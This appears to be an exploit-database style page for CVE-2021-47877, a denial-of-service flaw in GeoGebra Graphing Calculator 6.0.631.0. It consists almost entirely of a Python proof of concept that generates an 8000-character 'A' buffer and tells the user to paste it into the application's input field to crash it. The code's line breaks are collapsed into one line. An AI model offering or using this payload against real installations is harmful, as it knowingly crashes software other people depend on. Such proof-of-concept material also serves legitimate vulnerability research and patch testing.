CVE-2021-47877 GeoGebra Graphing Calculator拒绝服务漏洞

#!/usr/bin/env python3 # CVE-2021-47877 PoC - GeoGebra Graphing Calculator DoS # Description: Generate payload to crash GeoGebra Graphing Calculator # by inputting oversized buffer (8000 repeated characters) def generate_payload(): # Generate 8000 repeated characters payload # This triggers buffer overflow in GeoGebra Graphing Calculator 6.0.631.0 payload_length = 8000 payload = 'A' * payload_length return payload def main(): payload = generate_payload() print(f"Generated DoS payload with {len(payload)} characters") print(f"Payload (first 100 chars): {payload[:100]}...") print("\n[!] Usage: Copy this payload and paste into GeoGebra input field") print("[!] This will cause the application to crash") if __name__ == "__main__": main()